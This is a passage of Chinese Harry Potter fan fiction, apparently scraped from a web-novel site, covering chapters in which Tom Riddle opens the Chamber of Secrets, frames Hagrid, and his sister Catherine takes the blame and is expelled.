他绕开自己的两个室友,高尔和克拉布,回到自己的床上,并施展了闭塞视听咒。床上放着一个小桌子,上面架着一口坩埚,坩埚的旁边放着一本关于诅咒与反诅咒的书。 汤姆小心地掏出卡米拉的信封,然后将里面的东西倒了出来。 里面装着一块爱心形的巧克力,他凑近闻了闻,巧克力散发着属于他妹妹凯瑟琳的小苍兰香气。 呵呵。果然。汤姆发出了一声冷笑。 “清水如泉!”他往坩埚里注满了水,然后燃起了火。 然后将巧克力整个扔进了坩埚里。 他又从床头柜里拿出几种药材放进坩埚。等待熬制魔药的同时,他一只手翻动着身边那本反诅咒的书,另一只手好整以暇地抽出了信封里卡米拉所写的情书,看起来文采似乎并不怎么样: “亲爱的汤姆·里德尔: 你的眼睛黑得像黑曜石, 你的头发如墨汁一样乌黑, 我希望你是我的,你真的很英俊 我愿意为你奉上我的一切价值, 为你加冕成为我的王 爱你的 卡米拉·格林格拉斯” 坩埚时而冒出鲜绿色的光芒,与汤姆略泛着红光的眼互相映照着,让汤姆看看起犹如撒旦降临人间。 “正好最近在研究血魔咒……就让我看看,你有多少价值吧。” * 卡米拉成为汤姆女友的消息如飓风席卷了全校,大家都看到在情人节的时候, 21. chapter20 《【hp】假如里德尔是个妹控》全本免费阅读 “哥哥,卡米拉怎么退学了?”四月底的一天,凯瑟琳和汤姆面对面坐在图书馆里。 自从一月份卡米拉和汤姆确认情侣关系之后,他们就没有怎么坐在一起过。只有偶尔在夜晚用意识交换信息。 “不清楚。听说是病了吧。”汤姆正在写占卜课作业,临近owls考试,他几乎忙得脚不沾地。 “我也听说了,沃尔布加说格林格拉斯家的口风很严,不过她还是打探到似乎是查出来患上了‘血咒’。而且,她在家里很想念你。” “我给她写过几封信,问她要不要暑假的时候去探望她一下,但是都被她拒绝了。”汤姆说。 “那好吧,希望她没事。”凯瑟琳说,“现在我得去休息了,明天见。” “明天见。”汤姆说。“对了,” “怎么了?”凯瑟琳回头看向她的哥哥汤姆。 “你听说过斯莱特林的密室吗?”汤姆问。 “那是什么?” “马尔福那个家伙上次在三把扫帚酒吧喝醉了,说他爸爸以前跟他讲过,萨拉查·斯莱特林曾经留在霍格沃茨里面留下了一个自己建造的密室,只有真正的斯莱特林继承人才能打开它。我在听说之后就在学校寻觅了一圈,甚至考虑过就是有求必应屋,但是很可惜,我觉得都不是那个‘密室’。”汤姆解释道。 “噢,怎么跟我说这个?需要我帮忙找密室吗?” “是的。因为我听马尔福说,打开这个斯莱特林的密室,就可以帮助消除那些不应该待在霍格沃茨的学生——就是那些泥巴种……” “什么叫不应该待在霍格沃茨?”凯瑟琳忽然反问。 “不是说你,是说那些麻瓜出生的泥巴——” “汤姆!你以前可不是这样的!”凯瑟琳提高了声音再次打断了她哥哥,并且似乎是用她很少叫的他的名字。 “你怎么了,凯瑟琳?我以前是哪样的?”汤姆有些惊讶。 “总之,我觉得我们不应该这样说那些人……”凯瑟琳察觉到自己的失态,又缓和了语气。“如果密室的作用是这个,那我就不帮你找了。” “那怎么行?”汤姆反驳道。 “算了,我会留意的。”凯瑟琳叹了一口气,“走了。”说着,她离开了图书馆。 等到凯瑟琳的身影小时,汤姆一直扶着书本的左右才微微往后撤了一些,露出课本下方压着的深蓝色封皮的日记本。 这是一本再普通不过的日记本了,大概是凯瑟琳在四年级暑假的时候在沃克斯霍尔路那家麻瓜书店买的记事本。 在研究血咒和凯瑟琳默默然的同时,他在偶然间得知了“魂器”的存在,尽管他并不知道应该如何制作魂器,但是妹妹凯瑟琳送给他的这个日记本很显然是一个绝佳的试验品。等到他打开了密室,或许就能验证他的身份,并得到更多关于魂器的信息。 至于卡米拉,想要得到他的“爱”,在自制的巧克力里面加入了迷情剂。她自己为迷情剂是六年级的课程知识鲜为人知,但是他怎么可能不知道? 他最痛恨的事情之一,就是被最卑劣的方式控制感情。 所以他利用了反诅咒,同时往魔药里添加了黑魔法。他的本意就是为了实验血魔咒是如何生效的,不管卡米拉最后会不会成功变成一只猫,这都和他没有关系了。因为,他知道自己的诅咒已经成功了。 卡米拉退学的事情并没有引起什么轩然大波,毕竟格林格拉斯家族有家族病史几乎人人都知道一些。更多的女生则在为汤姆·里德尔女友的身份空缺而感到高兴。 其中就包括四年级的拉文克劳学生,奥丽芙·洪贝,她因为自认为是一个聪明绝顶的纯血巫师而洋洋自得,并喜欢欺负一些同院的麻瓜巫师,比如和她一样爱慕着汤姆·里德尔的桃金娘·沃伦,她经常嘲笑沃伦是一个戴着眼镜的四眼仔、不自量力的癞/□□。 在桃金娘·沃伦四年级的时候,全校盛行委托汤姆·里德尔的朋友或者他的妹妹帮那些女生递情书,第一个成功的是卡米拉,最后一个也是卡米拉——在她退学之后还没有女生成功过。 时间到了六月份,彼时正好是五年级学生owls考试结束的日子,在那之后五年级和七年级的学生可以选择自由留在学校度过最后两周,或者直接回家。 凯瑟琳守在考场外面等着汤姆最后一门魔法史考试结束。 当弗立维教授宣布考试结束后,汤姆很快从教室里走了出来。 “凯瑟琳,快跟我走。”汤姆说道。 “去哪?” 汤姆没有立刻回答,而是牵着凯瑟琳穿过草坪,来到城堡的二楼,那里很安静,低年级和六年级的学生还在上课,他说:“我要带你去上次跟你说的斯莱特林的密室。我找到了。” “什么?你找到了?真的有这个地方?”凯瑟琳显得有些震惊。“但是,如果打开密室,就会消除那些麻瓜巫师……” “这么做才是正确的。”汤姆有些不满他的妹妹总是在尝试维护那些麻瓜巫师。“他们不配来这里上学。就应该待在麻瓜待的地方。” “可是汤姆——” “住口!你这个......哑炮!”凯瑟琳的话还没有被说完,汤姆·里德尔忽然像是发狠一般地转过身,眼里有猩红的光线闪过。 凯瑟琳似乎是被他突然这样骂自己而吓到了,她瞪大了眼睛僵直地站在原地。 “昏昏倒地!”不等凯瑟琳再开口,汤姆用魔杖指着她发出了魔咒。 立刻,凯瑟琳的后脑像是被什么砸了一样,她带着难以置信的表情朝前倒去,汤姆接住了她把她揽在怀里。他盯着昏睡的妹妹喃喃道: “但凡你听话一点.......” 汤姆抱着凯瑟琳走到女盥洗室的一个水池边,嘴里发出的是一种奇怪的嘶嘶声。顿时,龙头发出一道耀眼的白光,开始飞快地旋转。接着,水池也动了起来,并慢慢地从视线中消失了,紧接着露出一根十分粗大的水管,可以容一个人钻进去。 汤姆看了一眼还在昏迷中的凯瑟琳,他给凯瑟琳施了几个保护咒,把凯瑟琳放进了一个女厕的隔间里,然后自己钻进了水管。、 在他钻进去之后,洗手池又缓缓出现,盖住了巨大的水管。 来到密室底端,在隧道转了一个弯又一个弯之后,汤姆最终站在了一堵结结实实的墙的前面,墙上面刻着两条互相缠绕的蛇,它们的眼睛里镶着大大的、闪闪发亮的绿宝石,它们的眼睛看上去跟活的一模一样。 “打开。”汤姆用低沉的、暗哑的嘶嘶声说。 两条蛇分开了,石墙从中间裂开,慢慢滑到两边消失了。 现在,汤姆站在一间 22. chapter21 《【hp】假如里德尔是个妹控》全本免费阅读 “你竟然为了打开密室不惜那样对我?”凯瑟琳在苏醒后冷冷地问。 “我都说了这个密室是在帮助我们做正确的事情。”汤姆说道。 “正确?正确的事情就是袭击麻瓜巫师?”凯瑟琳眯起眼睛,愤怒地盯着汤姆。那天在女盥洗室被汤姆的魔咒击晕后凯瑟琳第二天醒来时发现已经躺回了寝室。她不顾一起地冲出房间,回到盥洗室,但是一无所获。但是在那天之后,她陆陆续续地听说了好几个麻瓜巫师被袭击受伤甚至是石化的消息。 “是你干的,对吗?”凯瑟琳问汤姆。 “不是我。”汤姆说。 “不是你还能有谁?那个密室——” “听好了凯瑟琳,”汤姆打断了凯瑟琳的话,他的声音已经变得很冷酷,“这事跟你没关系,不要来捣乱,而且我说了,不是我干的。” 但是,凯瑟琳并没有死心,她从心底里希望自己的哥哥不会做残害他人事情,但是冥冥之中又觉得不安。 由于汤姆告诉过她密室的大概位置,她就一直在二楼的盥洗室附近蹲点,终于在几天后看到汤姆怀中抱着自己送的深蓝色日记本,身后跟着一个长着绿色蛇鳞的蛇怪(凯瑟琳在保护神奇动物的书上看到过),汤姆在看到凯瑟琳站在那里便快速地跑过来捂住她的眼睛。 “你在这里干什么?” “这句话不应该我来问你吗?”凯瑟琳回呛。 “你快离开这里。” “我不。”凯瑟琳掰开了哥哥的手指,然后开始用蛇佬腔命令蛇怪回到原本的地方。 “主人,她也是斯莱特林的继承人,我必须听从她的命令。”蛇怪对汤姆说道。 “不要回去,待在我身边。”汤姆用蛇佬腔说道。 “回去。” “留在我身边。” “回去。” “留在我身边。” 两人一边争执,一边进入了女盥洗室,汤姆皱起了眉头,他大力拧住开凯瑟琳的胳膊,用魔杖指着她,准备施咒。 “喂,你们——”这时,盥洗室里的一个隔间开了,一个不满的女声传了出来,两人和蛇怪同时看了过去,那个女生的话戛然而止,她第一眼就看到了蛇怪,当她的目光和蛇怪对上后,立刻硬邦邦地倒在了地上。 站在蛇怪身后的凯瑟琳和汤姆都停下了手中的动作,凯瑟琳浑身开始颤抖起来。 汤姆走了过去,用魔杖点了点女生,然后收起了魔杖。他对着一个水池说道:“打开。” 那个水池很快消失,只留下一个洞口,汤姆又对蛇怪说:“回去待着,没有我的命令不准出来。” “是,主人。”蛇怪很快溜进了水管里,然后水池又变了回来。 等一切做完,汤姆拉着凯瑟琳就走。 “等等——她,她怎么样了?”凯瑟琳想要挣脱哥哥的禁锢,回头看着倒在地上的沃伦。 “好着呢,只是晕倒了。”汤姆面不改色地说道,“我们先离开这里,一会儿我去喊迪瓦伊夫人。” …… 事实上,沃伦死了。 校长室里,墙上挂着各种呼呼大睡的肖像——校长办公桌后面坐着一个而是一个显得很虚弱干瘪的巫师,秃头上只有几缕白毛,正就着烛光读一封信,并微微皱起了眉头。这是迪佩特校长,一个305岁高龄的老巫师。 过了一整子,迪佩特校长叹了口气,把信叠起,站起身来,径直过去拉开窗帘。窗外的天空布满红霞,此刻正是日落时分。 巫师看了一会儿,又返回桌边,坐下来,心不在焉地玩弄着两个大拇指,望着门口。 很快,办公室外面有人敲门。 “进来。”老巫师用虚弱无力的声音说。 一个大约十六岁的男孩走了进来,摘下他的尖帽子。一枚级长的银质徽章在他胸口闪闪发光。他身材修长高大,有着一头乌黑的头发。 “啊,里德尔。”迪佩特开始说话了。 “您想见我,迪佩特教授?”里德尔说,显得有些紧张。 “坐下吧,”迪佩特说,“我刚才一直在读你给我的那封信。” “哦。”里德尔说。他坐了下来,双手紧紧地攥在一起。 “我亲爱的孩子,”迪佩特慈祥地说,“我不能让你留在学校过暑假。你肯定愿意回家度假吧?” “不,”里德尔立刻说道,“我情愿留在霍格沃茨,也不愿到那个——那个——” “你假期住在一家麻瓜的孤儿院里,是吗?”迪佩特好奇地说。 “是的,先生。”里德尔说,微微地红了脸。 “你的父母都——” “我母亲刚生下我就去世了,先生。他们在孤儿院里对我说,她只来得及给我起了名字:汤姆,随我的父亲。”里德尔巧妙地跳过了谈论自己的父亲。 迪佩特同情地吐了吐舌头。 “事情是这样的,汤姆,”他叹了口气说,“我们本来想对你做一些特殊的安排,可是在目前的情形下……” “你指的是所有这些攻击事件吗,先生?”里德尔问。 “一点儿不错,”校长说,“我亲爱的孩子,你必须看到,如果我允许你学期结束后继续待在城堡里,该是多么愚蠢。尤其是发生了最近那场悲剧之后……那个可怜的小姑娘死了……你待在孤儿院里要安全得多。实话对你说吧,魔法部甚至在讨论要关闭学校呢。对所有这些不幸事件的——哦——根源,我们还没有半点儿头绪……” 里德尔的眼睛睁大了。 “先生——如果那个人被抓住了……如果一切都停止了……” “你是什么意思?”迪佩特说,声音有点刺耳,一边从椅子上站了起来。“里德尔,你难道是说你对这些攻击事件有所了解?” “不,先生。”里德尔赶紧说道。 迪佩特跌坐回去,显得微微有些失望。“你可以走了,汤姆……” 里德尔从他的椅子上滑下来,拖着沉重的脚步走出房间。他走下旋转楼梯,接着从逐渐黑暗下来的走廊里的怪兽状滴水嘴旁边出来。 里德尔停下脚步,咬着嘴唇,微微挑眉,让前额上起了皱纹,似乎在进行很严肃的思考。 接着,他似乎突然拿定了主意,匆匆走开了。 夜晚还有一个小时到宵禁,他从图书馆走出来,一路来到门厅,遇到了邓布利多。 “你在做什么,汤姆,这么晚了还在乱逛?” “我刚才去了见校长,先生。”里德尔说。 “好了,快上床睡觉吧。”邓布利多说着,用那种具有穿透性的目光,凝视着里德尔。“这些日子最好不要在走廊里闲逛。既然已经……” 他沉重地叹息一声,向里德尔道了晚安,就大踏步地走开了。里德尔看着他走出视线,然后迅速迈开脚步,走下通往地下教室的石阶。 他并没有回斯莱特林的休息室,而是来到了底下教室,火把没有点然,一动不动地站在门口,注视着外面的通道。 有人悄悄地在通道里走动。里德尔像影子一样毫无声息,侧着身子从门缝穿过,跟了上去。 有大约五分钟的时间,他一直跟着那个脚步。最后里德尔突然停住了,侧着脑袋,倾听刚刚出现的声音。一扇门吱呀一声开了,然后有人用沙哑的嗓音低声说话。 “过来……出来,上这儿来……过来吧……到箱子里来……” 这个人的声音令人耳熟。 里德尔突然一跳,转过墙角。一个大块头男孩的黑黑的身影,那男孩蹲在一扇开着的门前面,门边放着一只很大的箱子。 “晚上好,鲁伯。”里德尔严厉地说。 男孩砰地把门关上,站了起来。 “你在这儿做什么,汤姆?” 里德尔逼近几步。 “该结束了,”他说,“我不得不告发你了,鲁伯。他们正在商量,如果攻击事件再不停止,就要关闭霍格沃茨了。” “你说什——” “我知道你不是故意要杀人。但是怪兽可不是理想的宠物。我猜想你只是让它出来活动活动,结——” “它绝没有杀人!”大块头男孩说着,后退几步,把身体靠向那扇关着的门。他后面传来一阵古怪的窸窸窣窣和咔啦咔啦的声音。 “来吧,鲁伯,”里德尔说,又向前逼近了一些,“那个死去的姑娘的父母明天就要到这儿来了。霍格沃茨至少可以保证把那个弄死他们女儿的家伙杀死……” “不是它!” “不是它! 23. chapter22 《【hp】假如里德尔是个妹控》全本免费阅读 邓布利多似乎还想争取为凯瑟琳和海格说些什么,但是迪佩特已经拒绝任何形式的求情;梅勒思教授因为身体不适而并不清楚这次事件的来龙去脉,等他得知凯瑟琳被开除而汤姆没有的时候,已经为时已晚。 第二天,桃金娘·沃伦的父母就跟着魔法部部长伦纳德·斯潘塞·沐恩来到了学校,他们痛苦流涕,尤其是沃伦的母亲,几乎哭到晕厥。迪佩特向他们解释了凯瑟琳的特殊情况和海格的错误,并当场折断了海格的魔杖。 伦纳德是一位善良且明智的部长,他了解到海格的父亲已经去世,母亲改嫁,而凯瑟琳是孤儿,只有一个还在学校就读的哥哥。为了不让孩子们遭受牢狱之灾并一辈子背上命债,他决定由魔法部全权承担在此事件中孩子伤亡的家庭的赔偿。但是,兹体事大,凯瑟琳和海格还是被双双开除,海格被罚去猎场做看守,而凯瑟琳则被强行扭送道圣芒戈医院接受“治疗”。 * “为什么?” 当凯瑟琳在房间里收拾行李的时候,汤姆站在门口问道。 “什么为什么?”凯瑟琳的动作一顿,问道。 “我的意思是……你为什么要替我撒谎?”汤姆问,“就算你不出来顶罪,海格一样会被开除,也不用被赶出学校。”他的眼里盛满的愤怒。 “没有为什么。只是担心而已。”凯瑟琳淡淡地说。 “担心?有什么事需要你来担心?”汤姆看起来有些气急败坏,是嫉妒吗——如果凯瑟琳说她担心的是海格,她会喜欢那个傻大个?格兰芬多的莽夫也值得她担心?这种在学校里养怪物屡犯禁忌的人就应该被开除才对。 “我相信你也发现了吧。”凯瑟琳把收好的行李合上,拎出了寝室。汤姆紧随其后。“邓布利多教授一直在监视你。” “什么?我知道……”她到底想说什么?汤姆眼中多了一丝茫然。 “我担心的是你啊。”凯瑟琳说道,她抬起头,看着怒气未消的汤姆。 “什么?我?”凯瑟琳说的话像是什么难以理解的东西,就像是里面蕴含着情感,而他却不明白。他很恼怒,恼怒自己在这方面的愚笨,似乎与他自己有着千丝万缕的联系,但是他却一点也抓不住。 “你还不明白吗?因为你是我唯一的家人啊!我不能看着我哥哥被抓走……邓布利多肯定猜到了什么,我害怕……我害怕……算了。”凯瑟琳深吸了一口气说道,“其实我很矛盾。我知道这次的事件绝对和你有关系……卡米拉的事情也肯定和你有关——” “和我没关系!”汤姆撒谎道。 “你骗不了我的,哥哥。很遗憾,我的良心让我不想再看到任何无辜的人受到伤害,但同时,我也不想让你受到伤害……他们要是把你抓紧阿兹卡班……” “我说了,我不会有事,你根本不需要想这些。”汤姆说道。 “谁能说得准呢?”凯瑟琳在听到汤姆的回答后,眼里充满了失望,的嘴角艰难地勾起一个微笑的弧度,“也是,我早该知道。对你来说,我不过是一个拖油瓶、一个哑炮、一个只会捣乱的障碍,是吗?那么,开除一个……哑炮妹妹,不是正合你心意吗?” “什么?我……”汤姆本想辩解,但是两个人同时想到了owls考试那天在盥洗室发生的事情。“我就应该给你施一个一忘皆空咒。”他恶狠狠地说。 “如果你要这样做,我也无力反抗。”凯瑟琳惨然地笑了一下。“如果你想要施展一忘皆空好让我一辈子躺在圣芒戈医院做一具行尸走肉,那么,动手吧。” “你——”汤姆此时已经拔出了魔杖指着妹妹的脑袋,凯瑟琳冷冷地看着她哥哥,眼里的火焰已经熄灭,她转过身朝斯莱特林休息室的门口走去。 快动手啊。给她施展一忘皆空,她就会任你摆布,永远当一个听话的妹妹了。汤姆感觉内心有一个声音这样说道。可是,可是……汤姆举着魔杖,死死地瞪着凯瑟琳的背影,她头上还别着他送的蛋壳蓝色的发卡。 妹妹说她担心他。 他是她唯一的亲人。 但是,他有什么错? 为什么,过去一直跟在他身后的妹妹对他这么的疏离? 他不信,不肯接受。 “一忘皆空!” 在凯瑟琳即将踏出斯莱特林休息室的时候,她听到了那个人念出了那道咒语,但是咒语打偏了,击中了石墙。 凯瑟琳的脚步顿住了,却不敢回头看她哥哥的表情。 “保护好自己,凯瑟琳。”那个声音似乎是从很遥远的地方传过来。 凯瑟琳没有回头,不着一词,她离开了霍格沃茨。 * 凯瑟琳身后跟着两个魔法部的官员,他们三人站在霍格莫德猪头酒吧的巷子口。 “我进去和我的朋友道个别。”凯瑟琳说,“放心吧,我不会魔法,逃不走的。” 后面两个官员对视了一眼,最终还是点了点头。“十分钟,如果你不出来,我们就会进去找你。” “放心吧,先生们。”凯瑟琳说着,走进了猪头酒吧。 工作日,酒吧里的人并不多,莫普西正好坐在吧台喝着小酒,几只小狗趴在她脚底下睡懒觉。“噢,凯瑟琳……”莫普西在看到凯瑟琳之后很夸张地抱住了她,“你怎么看起来瘦了这么多?你……” “谢谢您的关心,夫人。”凯瑟琳说,“不过我今天来时间有限,邓布利多先生在吗?” “他应该在楼上,他的儿子最近不太好。”莫普西又叹了一口气说道。 “谢谢您。”凯瑟琳道完谢,匆匆地跑上了楼梯。 金发碧眼的少女阿莉安娜的巨大画像依旧是第一个步入眼帘,随后画像左侧的一间房间被打开,阿不福思走了出来。 “凯瑟琳?”他在看到来人是凯瑟琳的时候眼里露出了诧异的神色。凯瑟琳看着他,明明比邓布利多还小,但是似乎就是在半年间就长出了许多白发,半月形的眼镜夹在鼻梁上只让他看起来更加苍老。 “是我,您最近还好吗?”凯瑟琳问道。 “我吗?嗯,不算太好。过来坐着聊吗?”阿不福思直接地说。 “噢,恐怕不太行……”凯瑟琳看了一眼楼下,“我今天来比较赶时间。克雷登斯怎么样?我能去看看他吗?” “他……唉。你去吧,他就在里面,前段时间还在念叨着你呢。” 凯瑟琳点点头,进入了阿不福思身后的房间。阿不 24. chapter23 《【hp】假如里德尔是个妹控》全本免费阅读 时光像是倒流回了小时候。 雾蒙蒙的伦敦,阴沉飘雪的天气。 她蜷缩在那张小床的的角落里,视线落在很久未翻新即将剥落的墙漆上。老旧的墙皮由于重力的作用往下耷拉着,她伸手一扣,白色的墙灰簌簌落到床单和她的腿上。 床单也是白色的。 裙子也是白色的。 哥哥呢?哥哥出门去了吗? 她忍不住想。 没有哥哥的世界会是怎么样的呢? 她无法想象,世界中缺少那个人会是什么样的。 那些穿着白大褂的医生会不会把她的哥哥带走? 他们说哥哥不正常,她和她哥哥都是怪胎。 窗外的雪越下越大了,但是房间里只有她一个人。安静地似乎只能听见窗外雪花落下的声音。 哥哥是离开她了吗? 是不是因为,她是一个……“哑炮”? 不,不是的。她不想当那个可怜的人。 画面变换了,她和哥哥坐在图书馆里。哥哥抚摸着她佩戴的金色的挂坠盒,用蛇佬腔说道: “打开。” 挂坠盒打开了,里面放着萨拉查·斯莱特林的肖像,下面写着一行小字: 【为斯莱特林纯血的荣耀而活】 “看看,我就知道,这个挂坠盒果然不是一个普通的遗物。母亲当时留给我们的决定是正确的。”哥哥说道。 “你留着它吧,还可以用来保护你。另外,沃尔布加总是盯着这个挂坠盒,最近肯定会有小动作……” “相信我,她再也不敢以为你是哑炮了。” 画面又切换了,这次时间跨度有些长。 她跟着哥哥高大的背影走进位于斯莱特林湖底的一间教室。“好了,这是我向迪佩特申请的空教室,我会教你魔咒……证明给布巴吉那个饭桶看,我的妹妹其实很优秀。” “我们要学的是最简单的漂浮咒。现在,你握住我的魔杖。” 她伸出手触摸哥哥那根非常漂亮的、象牙白色、雕刻着繁复的花纹的紫衫木魔杖。 不算称手,但那种感觉是很奇妙的,就像是第一次见一个失散多年的兄弟。 她哥哥从讲台下的柜子里拿出一根羽毛放在他们俩中间,神色变得严厉。 “你得努力一点,这是最简单的魔咒……跟我念——羽加迪姆勒维奥萨!” “羽加迪——羽加迪姆……”她学着哥哥的发音想要念出咒语,但是握着魔杖手却不自觉地颤抖了起来,浑身似乎被火灼烧,叫嚣着让她扔掉那个魔杖。 不,你不能使用魔法。 你怎么配使用魔法。 你是怪胎。 你只会伤害别人。 你的魔法会伤害最亲近的人。 你要杀了你哥哥吗。 举着魔杖指着他干什么。 她握着魔杖的右手像是被千万只毒虫啃食,更可怕的是有声音在她脑海里不断地谴责着她,谴责她尝试使用魔法。 “我不要!” 魔杖撒手了。她只觉得眼前一黑。 “站起来,凯瑟琳。你要向布巴吉教授证明你自己啊……不能让他得逞。” 不知过了多久,她睁开眼,看到她正躺在哥哥的脚边,他俯视着弱小的她,眼神中是严厉和冷漠。 没错,她得证明自己,她不想在哪里都被视为异类……她想成一个正常的女巫。 她得站起来,重新站起来,学习漂浮咒。像这样,握住哥哥的魔杖,然后说…… 她从昏迷中挣扎着想要爬起来,尝试握住哥哥的魔杖。 那种火烧一般的感觉再次燃烧起来。 “快点,这很简单的,只要握住魔杖,把魔力集中在魔杖上,然后说……”哥哥的语气带着一些急切。 只要念“羽加迪姆勒维奥萨”就可以了。 她尝试握紧魔杖,痛苦的感受几乎要把她烧化。她看见哥哥也握紧了拳头。 “羽加迪姆——勒——勒维奥萨!”她喊。 似乎是把一辈子的力气都用完了,但是羽毛并没有动起来。相反,躁动的魔法在她体内乱窜着,似乎顶破她的皮肤窜出来。 魔杖再一次脱手,她蹲下身抱成一团。 她不是没有努力,但是为什么成事不足败事有余? 只要念“羽加迪姆勒维奥萨”就可以了。 她不是丑陋的默默然。 她应该是和哥哥一样聪明且优秀的巫师,挥动着属于自己的魔杖,施展谣言的魔法。 而不是蹲在地上,哭泣着连漂浮咒都不会的“哑炮”。 你怎么这么笨呀? 这么简单的魔咒? 血……是血…… 有什么湿热的东西从她的鼻腔里涌出来,耳朵似乎也湿湿的,脑袋里嗡鸣着,她什么也看不到、什么也不知道了。 画面变亮了,一睁眼,看见了哥哥坐在孤儿院他们书桌前,伏案写着什么。 上学后,他们就不睡在一个房间里了。这是规定。 暑假的时候,哥哥喜欢把自己关在房间里研究着一些“神奇的魔法”。但是这回他邀请她进去。 “你在写什么呢,哥哥?” “级长申请书。你会支持我的对吗,亲爱的妹妹?” “当然了,这还用问吗?” “怎么说?” “你是世界上最好最好的哥哥,也是霍格沃茨最优秀的学生。” “就知道你最ai——支持我。” 她知道哥哥想说哪个词,但是,“爱”到了哥哥的嘴里,就变成了一个很拗口的字眼,卡在嗓子眼里,然后被咽回肚子里。 “在阿不福思那边住的怎么样?”他依旧在填写表格,羽毛笔不断地抖动着,表格上是工整且美观的单词,就像他本人一样 25. chapter24 《【hp】假如里德尔是个妹控》全本免费阅读 “是的,请问,你是有什么认识的人也姓这个吗?” 原本凯瑟琳只想闭上眼好好休息一下,但是这个老太太忽然注意到她的姓氏,让她忽然意识到或许这个老太太知道她父亲的家族? 所以,她和哥哥的推论一直是错误的?里德尔是某个巫师家族的亲戚? “啊,是的。”老太太回答道。 凯瑟琳用更加热烈的期待的眼神看着老太太。她手里的冰激凌开始融化了,一些没吃掉的榛子碎顺着冰激凌掉到了她的手背上。 “啊,是的。里德尔。我认识。当然认识的。”老太太说道。 凯瑟琳继续等待着老太太说下文。 “是谁呢?”老太太似乎陷入了某种回想,丝毫没有注意到冰激凌已经融化并且滴到了她的手背上。 “是你的亲戚吗?”凯瑟琳想要帮助努力回想的老太太唤醒记忆。 “亲戚?是吗?我认识。里德尔。”她又开始重复了。 “劳拉女士,你的冰激凌再不吃要化了。”凯瑟琳似乎放弃了继续盘问这个问题,指着冰激淋提醒道。 “噢,噢,对!劳拉女士的冰激凌,榛子碎香草口味的。”老太太低头舔掉掉在手背上的冰激凌,然后又吃掉一大口冰激凌。“我们刚才再谈什么来着。很抱歉,我可能记性不太好。” “你说你认识有姓里德尔的。” “噢……噢是的。里德尔。我认识的。我认识……”老太太用浑浊的眼睛瞪着凯瑟琳,然后目不转睛地咬了一口冰激凌。 “是谁来着……?我怎么想不起来?很抱歉,我相信我绝对认识他们,这姓氏很熟悉。” 凯瑟琳叹了一口气,把头扭了过去,看向窗外的天空。 她怎么忘了,五楼,魔咒伤害科。专门治疗去不掉的魔咒或者因错误使用魔咒而造成创伤的患者。 很显然,这位劳拉女士似乎是记忆受到了创伤,导致她记性不好,甚至说是健忘。谁知道是不是被施了一忘皆空咒呢? * 接下来的日子里,凯瑟琳尝试在夜晚和哥哥建立意识链接,但是有求必应屋里的那扇光滑的门一直都不出现,一晃就是两个月。 劳拉女士依旧每日都在神神叨叨一些无用的内容,比如哪个护士做的午餐好吃,英国某个废弃的公园里的喷泉是什么形状,甚至是这个病床的枕头太硬晚上睡不舒服……但没什么和里德尔有关的消息。凯瑟琳甚至猜测过她可能就姓里德尔,但是劳拉女士除了说自己叫“劳拉女士”就再也说不出个所以然。 暑假临近尾声,凯瑟琳感觉像是与全世界失去了联系。 不过好在在开学前一周,她收到了海格的来信。海格告诉她,现在他一个人住在禁林附近的小木屋里,看守猎场。如果让他说一定有什么好处,那就是他偶尔可以去禁林里探望一下阿拉戈克——它现在自由多了,靠在禁林里捕食一些小生物为生。 凯瑟琳在收到海格的信之后只觉得百感交集,她为哥哥陷害海格的事情感到非常愧疚,更让她难以理解的是海格会在最后站出来和她分担罪责;但是同时,她也明白,海格之所以遭受如此严厉的惩罚,并不是仅仅是因为迪佩特认为海格是杀人凶手,更重要的是“歧视”。 巨人在魔法界一直是不受欢迎、饱受偏见和歧视的族群,这也是为什么他们的数量并不是很多;而海格作为一个混血巨人,无论在哪一边都是不受欢迎的异类——自然不会受到很公平的待遇。 沃伦的父母第一次来魔法界,对高大粗鲁的海格印象很不好,他们言语之间都是在央求迪佩特必须给他们一个交代,伦纳德明确了不能将海格和凯瑟琳关进阿兹卡班的原则,迪佩特只能选择折断一个巫师的魔杖。 于是,她决定帮海格买一根魔杖作为赔偿。 要说两个月里有什么进展,必然是有的——就比如走出医院的方法。 走窗户肯定是不行的,室内被施了保温咒和换气咒,因此医院的窗户是封死的,锁死的咒语用阿拉霍洞开不能打开,更别提凯瑟琳这种无法使用魔咒的巫师。 但是,走楼梯下去可以。 一楼的接待一天一换,每周三是一男一女两个年轻的护士,似乎还是一对热恋中的情侣。只要是他们当班,基本不会过问进出的医院的人群。 等到周三,凯瑟琳拿上自己存在行李箱里的金加隆出发了。 一路上很顺利,没有碰到赖宁先生,也没有被小情侣护士盘问阻拦。 只是,等出了医院,她又遇到了一个困难。 魔法部成员带她来的时候,用了幻影移形,她根本找不到去对角巷的路。必须先找到伍氏孤儿院,才能记得以前她和哥哥是怎么走去破斧酒吧的。 一路上问了几个行人,她才找到路。但是这样势必会花上很长的时间。 就在她有些后悔贸然溜出来并陷入焦灼的时候,面前不知什么时候停了一辆蓝色的三层巴士。 “你好!骑士公车专为迷路的巫师服务,请问小姐您想要去哪?只需要十一个银西可。”一个小伙子站在车门前问。 “骑士公车?”凯瑟琳愣了几秒,随即是狂喜。她和哥哥在图书馆里曾经读到过这种神奇的交通,是一类应急客运。 “好,好的!我想去破斧酒吧。”凯瑟琳付了钱,坐上了骑士公车。 窗外景色飞速变幻,一眨眼的功夫骑士公车就带着她来到了破斧酒吧。 “如果我还想回去的话,怎么召唤你们呢?”临下车时凯瑟琳问。她记得骑士公车需要举起魔杖才能召唤,可是她根本没有魔杖,也许刚才只是骑士公车碰巧遇见了她。 “对于像您这样特别的女巫,只要心里默念骑士公车,我们就会出现哒。”那个年轻的售票员说道,待凯瑟琳下了车,骑士公车一眨眼就消失了。 凯瑟琳走进破斧酒吧,敲了敲三块砖,进入了对角巷,直奔奥利凡德魔杖店。 魔杖店是五年前凯瑟琳跟着汤姆曾经走进的地方。由于凯瑟琳身体原因和拮据的资金,她并没有自己的魔杖,在后来也从来没有踏足过这里。 小店依旧是老样子,又小又破,门上的金字招牌已经剥落,上边写着 【奥利凡德:自公元前三百八十二年即制作精良魔杖】 尘封的橱窗里,褪色的紫色软垫上摆着许多制作精美的魔杖,确实凯瑟琳可望而不可求的。 她再次走 26. chapter25 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳的意识站在伍氏孤儿院的走廊上。 她凭着记忆找到了属于哥哥的那间卧室。 果然,门上挂着一个牌子,上面写着: 【汤姆·马沃罗·里德尔】 她鼓起勇气想要去敲门,但是在她抬起手的一瞬间,门从里面打开了。 “进来吧,凯瑟琳。” 那是她哥哥的意识。 凯瑟琳默默地走了进去。 